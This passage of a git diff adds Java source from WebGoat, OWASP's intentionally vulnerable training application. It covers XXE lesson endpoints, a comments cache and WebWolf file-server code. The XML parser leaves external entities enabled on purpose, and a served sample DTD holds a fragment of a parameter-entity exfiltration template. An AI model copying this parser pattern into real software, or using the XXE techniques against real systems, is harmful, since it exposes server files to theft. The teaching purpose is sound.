+ */ +@Slf4j +@RestController +@AssignmentHints({ + "xxe.blind.hints.1", + "xxe.blind.hints.2", + "xxe.blind.hints.3", + "xxe.blind.hints.4", + "xxe.blind.hints.5" +}) +public class BlindSendFileAssignment extends AssignmentEndpoint { + + private final String webGoatHomeDirectory; + private final CommentsCache comments; + private final Map userToFileContents = new HashMap<>(); + + public BlindSendFileAssignment( + @Value("${webgoat.user.directory}") String webGoatHomeDirectory, CommentsCache comments) { + this.webGoatHomeDirectory = webGoatHomeDirectory; + this.comments = comments; + } + + private void createSecretFileWithRandomContents(WebGoatUser user) { + var fileContents = "WebGoat 8.0 rocks... (" + randomAlphabetic(10) + ")"; + userToFileContents.put(user, fileContents); + File targetDirectory = new File(webGoatHomeDirectory, "/XXE/" + user.getUsername()); + if (!targetDirectory.exists()) { + targetDirectory.mkdirs(); + } + try { + Files.writeString(new File(targetDirectory, "secret.txt").toPath(), fileContents, UTF_8); + } catch (IOException e) { + log.error("Unable to write 'secret.txt' to '{}", targetDirectory); + } + } + + @PostMapping(path = "xxe/blind", consumes = ALL_VALUE, produces = APPLICATION_JSON_VALUE) + @ResponseBody + public AttackResult addComment(@RequestBody String commentStr) { + var fileContentsForUser = userToFileContents.getOrDefault(getWebSession().getUser(), ""); + + // Solution is posted by the user as a separate comment + if (commentStr.contains(fileContentsForUser)) { + return success(this).build(); + } + + try { + Comment comment = comments.parseXml(commentStr); + if (fileContentsForUser.contains(comment.getText())) { + comment.setText("Nice try, you need to send the file to WebWolf"); + } + comments.addComment(comment, false); + } catch (Exception e) { + return failed(this).output(e.toString()).build(); + } + return failed(this).build(); + } + + @Override + public void initialize(WebGoatUser user) { + comments.reset(user); + userToFileContents.remove(user); + createSecretFileWithRandomContents(user); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/xxe/Comment.java b/src/main/java/org/owasp/webgoat/lessons/xxe/Comment.java new file mode 100644 index 000000000..90d06fdd1 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/xxe/Comment.java @@ -0,0 +1,46 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.xxe; + +import javax.xml.bind.annotation.XmlRootElement; +import lombok.AllArgsConstructor; +import lombok.Getter; +import lombok.NoArgsConstructor; +import lombok.Setter; +import lombok.ToString; + +/** + * @author nbaars + * @since 4/8/17. + */ +@Getter +@Setter +@AllArgsConstructor +@NoArgsConstructor +@XmlRootElement +@ToString +public class Comment { + private String user; + private String dateTime; + private String text; +} diff --git a/src/main/java/org/owasp/webgoat/lessons/xxe/CommentsCache.java b/src/main/java/org/owasp/webgoat/lessons/xxe/CommentsCache.java new file mode 100644 index 000000000..b949f0abe --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/xxe/CommentsCache.java @@ -0,0 +1,137 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.xxe; + +import static java.util.Optional.empty; +import static java.util.Optional.of; + +import com.fasterxml.jackson.databind.ObjectMapper; +import java.io.IOException; +import java.io.StringReader; +import java.time.LocalDateTime; +import java.time.format.DateTimeFormatter; +import java.util.ArrayList; +import java.util.Comparator; +import java.util.HashMap; +import java.util.Map; +import java.util.Optional; +import javax.xml.XMLConstants; +import javax.xml.bind.JAXBContext; +import javax.xml.bind.JAXBException; +import javax.xml.stream.XMLInputFactory; +import javax.xml.stream.XMLStreamException; +import org.owasp.webgoat.container.session.WebSession; +import org.owasp.webgoat.container.users.WebGoatUser; +import org.springframework.context.annotation.Scope; +import org.springframework.stereotype.Component; + +@Component +@Scope("singleton") +public class CommentsCache { + + static class Comments extends ArrayList { + void sort() { + sort(Comparator.comparing(Comment::getDateTime).reversed()); + } + } + + private static final Comments comments = new Comments(); + private static final Map userComments = new HashMap<>(); + private static final DateTimeFormatter fmt = DateTimeFormatter.ofPattern("yyyy-MM-dd, HH:mm:ss"); + + private final WebSession webSession; + + public CommentsCache(WebSession webSession) { + this.webSession = webSession; + initDefaultComments(); + } + + void initDefaultComments() { + comments.add(new Comment("webgoat", LocalDateTime.now().format(fmt), "Silly cat....")); + comments.add( + new Comment( + "guest", + LocalDateTime.now().format(fmt), + "I think I will use this picture in one of my projects.")); + comments.add(new Comment("guest", LocalDateTime.now().format(fmt), "Lol!! :-).")); + } + + protected Comments getComments() { + Comments allComments = new Comments(); + Comments commentsByUser = userComments.get(webSession.getUser()); + if (commentsByUser != null) { + allComments.addAll(commentsByUser); + } + allComments.addAll(comments); + allComments.sort(); + return allComments; + } + + /** + * Notice this parse method is not a "trick" to get the XXE working, we need to catch some of the + * exception which might happen during when users post message (we want to give feedback track + * progress etc). In real life the XmlMapper bean defined above will be used automatically and the + * Comment class can be directly used in the controller method (instead of a String) + */ + protected Comment parseXml(String xml) throws JAXBException, XMLStreamException { + var jc = JAXBContext.newInstance(Comment.class); + var xif = XMLInputFactory.newInstance(); + + if (webSession.isSecurityEnabled()) { + xif.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant + xif.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // compliant + } + + var xsr = xif.createXMLStreamReader(new StringReader(xml)); + + var unmarshaller = jc.createUnmarshaller(); + return (Comment) unmarshaller.unmarshal(xsr); + } + + protected Optional parseJson(String comment) { + ObjectMapper mapper = new ObjectMapper(); + try { + return of(mapper.readValue(comment, Comment.class)); + } catch (IOException e) { + return empty(); + } + } + + public void addComment(Comment comment, boolean visibleForAllUsers) { + comment.setDateTime(LocalDateTime.now().format(fmt)); + comment.setUser(webSession.getUserName()); + if (visibleForAllUsers) { + comments.add(comment); + } else { + var comments = userComments.getOrDefault(webSession.getUserName(), new Comments()); + comments.add(comment); + userComments.put(webSession.getUser(), comments); + } + } + + public void reset(WebGoatUser user) { + comments.clear(); + userComments.remove(user); + initDefaultComments(); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/xxe/CommentsEndpoint.java b/src/main/java/org/owasp/webgoat/lessons/xxe/CommentsEndpoint.java new file mode 100644 index 000000000..721e649ea --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/xxe/CommentsEndpoint.java @@ -0,0 +1,48 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.xxe; + +import java.util.Collection; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.http.MediaType; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +/** + * @author nbaars + * @since 5/4/17. + */ +@RestController +@RequestMapping("xxe/comments") +public class CommentsEndpoint { + + @Autowired private CommentsCache comments; + + @GetMapping(produces = MediaType.APPLICATION_JSON_VALUE) + @ResponseBody + public Collection retrieveComments() { + return comments.getComments(); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/xxe/ContentTypeAssignment.java b/src/main/java/org/owasp/webgoat/lessons/xxe/ContentTypeAssignment.java new file mode 100644 index 000000000..2e54dc1d8 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/xxe/ContentTypeAssignment.java @@ -0,0 +1,100 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.xxe; + +import static org.springframework.http.MediaType.APPLICATION_JSON_VALUE; + +import javax.servlet.http.HttpServletRequest; +import org.apache.commons.exec.OS; +import org.apache.commons.lang3.exception.ExceptionUtils; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.container.session.WebSession; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.http.MediaType; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestHeader; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints({"xxe.hints.content.type.xxe.1", "xxe.hints.content.type.xxe.2"}) +public class ContentTypeAssignment extends AssignmentEndpoint { + + private static final String[] DEFAULT_LINUX_DIRECTORIES = {"usr", "etc", "var"}; + private static final String[] DEFAULT_WINDOWS_DIRECTORIES = { + "Windows", "Program Files (x86)", "Program Files", "pagefile.sys" + }; + + @Value("${webgoat.server.directory}") + private String webGoatHomeDirectory; + + @Autowired private WebSession webSession; + @Autowired private CommentsCache comments; + + @PostMapping(path = "xxe/content-type") + @ResponseBody + public AttackResult createNewUser( + HttpServletRequest request, + @RequestBody String commentStr, + @RequestHeader("Content-Type") String contentType) + throws Exception { + AttackResult attackResult = failed(this).build(); + + if (APPLICATION_JSON_VALUE.equals(contentType)) { + comments.parseJson(commentStr).ifPresent(c -> comments.addComment(c, true)); + attackResult = failed(this).feedback("xxe.content.type.feedback.json").build(); + } + + if (null != contentType && contentType.contains(MediaType.APPLICATION_XML_VALUE)) { + String error = ""; + try { + Comment comment = comments.parseXml(commentStr); + comments.addComment(comment, false); + if (checkSolution(comment)) { + attackResult = success(this).build(); + } + } catch (Exception e) { + error = ExceptionUtils.getStackTrace(e); + attackResult = failed(this).feedback("xxe.content.type.feedback.xml").output(error).build(); + } + } + + return attackResult; + } + + private boolean checkSolution(Comment comment) { + String[] directoriesToCheck = + OS.isFamilyMac() || OS.isFamilyUnix() + ? DEFAULT_LINUX_DIRECTORIES + : DEFAULT_WINDOWS_DIRECTORIES; + boolean success = false; + for (String directory : directoriesToCheck) { + success |= org.apache.commons.lang3.StringUtils.contains(comment.getText(), directory); + } + return success; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/xxe/Ping.java b/src/main/java/org/owasp/webgoat/lessons/xxe/Ping.java new file mode 100644 index 000000000..f71dbd7dd --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/xxe/Ping.java @@ -0,0 +1,62 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.xxe; + +import java.io.File; +import java.io.FileNotFoundException; +import java.io.PrintWriter; +import lombok.extern.slf4j.Slf4j; +import org.owasp.webgoat.container.session.WebSession; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.web.bind.annotation.RequestHeader; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestMethod; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; + +@Slf4j +public class Ping { + + @Value("${webgoat.user.directory}") + private String webGoatHomeDirectory; + + @Autowired private WebSession webSession; + + @RequestMapping(method = RequestMethod.GET) + @ResponseBody + public String logRequest( + @RequestHeader("User-Agent") String userAgent, @RequestParam(required = false) String text) { + String logLine = String.format("%s %s %s", "GET", userAgent, text); + log.debug(logLine); + File logFile = new File(webGoatHomeDirectory, "/XXE/log" + webSession.getUserName() + ".txt"); + try { + try (PrintWriter pw = new PrintWriter(logFile)) { + pw.println(logLine); + } + } catch (FileNotFoundException e) { + log.error("Error occurred while writing the logfile", e); + } + return ""; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/xxe/SimpleXXE.java b/src/main/java/org/owasp/webgoat/lessons/xxe/SimpleXXE.java new file mode 100644 index 000000000..d51712cd4 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/xxe/SimpleXXE.java @@ -0,0 +1,112 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.xxe; + +import static org.springframework.http.MediaType.ALL_VALUE; +import static org.springframework.http.MediaType.APPLICATION_JSON_VALUE; + +import javax.servlet.http.HttpServletRequest; +import org.apache.commons.exec.OS; +import org.apache.commons.lang3.exception.ExceptionUtils; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.http.MediaType; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +/** + * @author nbaars + * @since 4/8/17. + */ +@RestController +@AssignmentHints({ + "xxe.hints.simple.xxe.1", + "xxe.hints.simple.xxe.2", + "xxe.hints.simple.xxe.3", + "xxe.hints.simple.xxe.4", + "xxe.hints.simple.xxe.5", + "xxe.hints.simple.xxe.6" +}) +public class SimpleXXE extends AssignmentEndpoint { + + private static final String[] DEFAULT_LINUX_DIRECTORIES = {"usr", "etc", "var"}; + private static final String[] DEFAULT_WINDOWS_DIRECTORIES = { + "Windows", "Program Files (x86)", "Program Files", "pagefile.sys" + }; + + @Value("${webgoat.server.directory}") + private String webGoatHomeDirectory; + + @Value("${webwolf.landingpage.url}") + private String webWolfURL; + + @Autowired private CommentsCache comments; + + @PostMapping(path = "xxe/simple", consumes = ALL_VALUE, produces = APPLICATION_JSON_VALUE) + @ResponseBody + public AttackResult createNewComment(HttpServletRequest request, @RequestBody String commentStr) { + String error = ""; + try { + var comment = comments.parseXml(commentStr); + comments.addComment(comment, false); + if (checkSolution(comment)) { + return success(this).build(); + } + } catch (Exception e) { + error = ExceptionUtils.getStackTrace(e); + } + return failed(this).output(error).build(); + } + + private boolean checkSolution(Comment comment) { + String[] directoriesToCheck = + OS.isFamilyMac() || OS.isFamilyUnix() + ? DEFAULT_LINUX_DIRECTORIES + : DEFAULT_WINDOWS_DIRECTORIES; + boolean success = false; + for (String directory : directoriesToCheck) { + success |= org.apache.commons.lang3.StringUtils.contains(comment.getText(), directory); + } + return success; + } + + @RequestMapping( + path = "/xxe/sampledtd", + consumes = ALL_VALUE, + produces = MediaType.TEXT_PLAIN_VALUE) + @ResponseBody + public String getSampleDTDFile() { + return """ + + + "> + %all; + """; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/xxe/User.java b/src/main/java/org/owasp/webgoat/lessons/xxe/User.java new file mode 100644 index 000000000..bca81e474 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/xxe/User.java @@ -0,0 +1,48 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.xxe; + +import javax.xml.bind.annotation.XmlRootElement; + +@XmlRootElement +public class User { + + private String username = ""; + private String password = ""; + + public String getPassword() { + return password; + } + + public void setPassword(String password) { + this.password = password; + } + + public String getUsername() { + return username; + } + + public void setUsername(String username) { + this.username = username; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/xxe/XXE.java b/src/main/java/org/owasp/webgoat/lessons/xxe/XXE.java new file mode 100644 index 000000000..0a69d4c15 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/xxe/XXE.java @@ -0,0 +1,41 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.xxe; + +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; +import org.springframework.stereotype.Component; + +@Component +public class XXE extends Lesson { + + @Override + public Category getDefaultCategory() { + return Category.A5; + } + + @Override + public String getTitle() { + return "xxe.title"; + } +} diff --git a/src/main/java/org/owasp/webgoat/server/ParentConfig.java b/src/main/java/org/owasp/webgoat/server/ParentConfig.java new file mode 100644 index 000000000..b4a62db4d --- /dev/null +++ b/src/main/java/org/owasp/webgoat/server/ParentConfig.java @@ -0,0 +1,8 @@ +package org.owasp.webgoat.server; + +import org.springframework.context.annotation.ComponentScan; +import org.springframework.context.annotation.Configuration; + +@Configuration +@ComponentScan("org.owasp.webgoat.server") +public class ParentConfig {} diff --git a/src/main/java/org/owasp/webgoat/server/StartWebGoat.java b/src/main/java/org/owasp/webgoat/server/StartWebGoat.java new file mode 100644 index 000000000..845a057ac --- /dev/null +++ b/src/main/java/org/owasp/webgoat/server/StartWebGoat.java @@ -0,0 +1,50 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + *

+ * Copyright (c) 2002 - 2017 Bruce Mayhew + *

+ * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + *

+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + *

+ * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + *

+ * Getting Source ============== + *

+ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software + * projects. + *

+ */ + +package org.owasp.webgoat.server; + +import lombok.extern.slf4j.Slf4j; +import org.owasp.webgoat.container.WebGoat; +import org.owasp.webgoat.webwolf.WebWolf; +import org.springframework.boot.Banner; +import org.springframework.boot.WebApplicationType; +import org.springframework.boot.builder.SpringApplicationBuilder; + +@Slf4j +public class StartWebGoat { + + public static void main(String[] args) { + new SpringApplicationBuilder() + .parent(ParentConfig.class) + .web(WebApplicationType.NONE) + .bannerMode(Banner.Mode.OFF) + .child(WebGoat.class) + .web(WebApplicationType.SERVLET) + .sibling(WebWolf.class) + .bannerMode(Banner.Mode.OFF) + .web(WebApplicationType.SERVLET) + .run(args); + } +} diff --git a/src/main/java/org/owasp/webgoat/server/StartupMessage.java b/src/main/java/org/owasp/webgoat/server/StartupMessage.java new file mode 100644 index 000000000..409ffb377 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/server/StartupMessage.java @@ -0,0 +1,33 @@ +package org.owasp.webgoat.server; + +import lombok.NoArgsConstructor; +import lombok.extern.slf4j.Slf4j; +import org.springframework.boot.context.event.ApplicationReadyEvent; +import org.springframework.context.event.ContextStoppedEvent; +import org.springframework.context.event.EventListener; +import org.springframework.stereotype.Component; +import org.springframework.util.StringUtils; + +@Component +@Slf4j +@NoArgsConstructor +public class StartupMessage { + + private String port; + private String address; + + @EventListener + void onStartup(ApplicationReadyEvent event) { + if (StringUtils.hasText(port) + && !StringUtils.hasText(System.getProperty("running.in.docker"))) { + log.info("Please browse to http://{}:{}/WebGoat to get started...", address, port); + } + if (event.getApplicationContext().getApplicationName().contains("WebGoat")) { + port = event.getApplicationContext().getEnvironment().getProperty("server.port"); + address = event.getApplicationContext().getEnvironment().getProperty("server.address"); + } + } + + @EventListener + void onShutdown(ContextStoppedEvent event) {} +} diff --git a/src/main/java/org/owasp/webgoat/webwolf/FileServer.java b/src/main/java/org/owasp/webgoat/webwolf/FileServer.java new file mode 100644 index 000000000..a23af4ce7 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/webwolf/FileServer.java @@ -0,0 +1,123 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.webwolf; + +import static org.springframework.http.MediaType.ALL_VALUE; + +import java.io.File; +import java.io.IOException; +import java.util.ArrayList; +import javax.servlet.http.HttpServletRequest; +import lombok.AllArgsConstructor; +import lombok.Getter; +import lombok.extern.slf4j.Slf4j; +import org.apache.commons.io.FileUtils; +import org.owasp.webgoat.webwolf.user.WebGoatUser; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.http.MediaType; +import org.springframework.security.core.context.SecurityContextHolder; +import org.springframework.stereotype.Controller; +import org.springframework.ui.ModelMap; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.multipart.MultipartFile; +import org.springframework.web.servlet.ModelAndView; +import org.springframework.web.servlet.view.RedirectView; + +/** Controller for uploading a file */ +@Controller +@Slf4j +public class FileServer { + + @Value("${webwolf.fileserver.location}") + private String fileLocation; + + @Value("${server.address}") + private String server; + + @Value("${server.port}") + private int port; + + @RequestMapping( + path = "/file-server-location", + consumes = ALL_VALUE, + produces = MediaType.TEXT_PLAIN_VALUE) + @ResponseBody + public String getFileLocation() { + return fileLocation; + } + + @PostMapping(value = "/fileupload") + public ModelAndView importFile(@RequestParam("file") MultipartFile myFile) throws IOException { + var user = (WebGoatUser) SecurityContextHolder.getContext().getAuthentication().getPrincipal(); + var destinationDir = new File(fileLocation, user.getUsername()); + destinationDir.mkdirs(); + myFile.transferTo(new File(destinationDir, myFile.getOriginalFilename())); + log.debug("File saved to {}", new File(destinationDir, myFile.getOriginalFilename())); + + return new ModelAndView( + new RedirectView("files", true), + new ModelMap().addAttribute("uploadSuccess", "File uploaded successful")); + } + + @AllArgsConstructor + @Getter + private class UploadedFile { + private final String name; + private final String size; + private final String link; + } + + @GetMapping(value = "/files") + public ModelAndView getFiles(HttpServletRequest request) { + WebGoatUser user = + (WebGoatUser) SecurityContextHolder.getContext().getAuthentication().getPrincipal(); + String username = user.getUsername(); + File destinationDir = new File(fileLocation, username); + + ModelAndView modelAndView = new ModelAndView(); + modelAndView.setViewName("files"); + File changeIndicatorFile = new File(destinationDir, user.getUsername() + "_changed"); + if (changeIndicatorFile.exists()) { + modelAndView.addObject("uploadSuccess", request.getParameter("uploadSuccess")); + } + changeIndicatorFile.delete(); + + var uploadedFiles = new ArrayList<>(); + File[] files = destinationDir.listFiles(File::isFile); + if (files != null) { + for (File file : files) { + String size = FileUtils.byteCountToDisplaySize(file.length()); + String link = String.format("files/%s/%s", username, file.getName()); + uploadedFiles.add(new UploadedFile(file.getName(), size, link)); + } + } + + modelAndView.addObject("files", uploadedFiles); + modelAndView.addObject("webwolf_url", "http://" + server + ":" + port); + return modelAndView; + } +} diff --git a/src/main/java/org/owasp/webgoat/webwolf/MvcConfiguration.java b/src/main/java/org/owasp/webgoat/webwolf/MvcConfiguration.java new file mode 100644 index 000000000..f5fec0777 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/webwolf/MvcConfiguration.java @@ -0,0 +1,67 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.webwolf; + +import java.io.File; +import javax.annotation.PostConstruct; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.context.annotation.Configuration; +import org.springframework.web.servlet.config.annotation.ResourceHandlerRegistry; +import org.springframework.web.servlet.config.annotation.ViewControllerRegistry; +import org.springframework.web.servlet.config.annotation.WebMvcConfigurer; + +/** + * @author nbaars + * @since 8/13/17. + */ +@Configuration +public class MvcConfiguration implements WebMvcConfigurer { + + @Value("${webwolf.fileserver.location}") + private String fileLocation; + + @Override + public void addResourceHandlers(ResourceHandlerRegistry 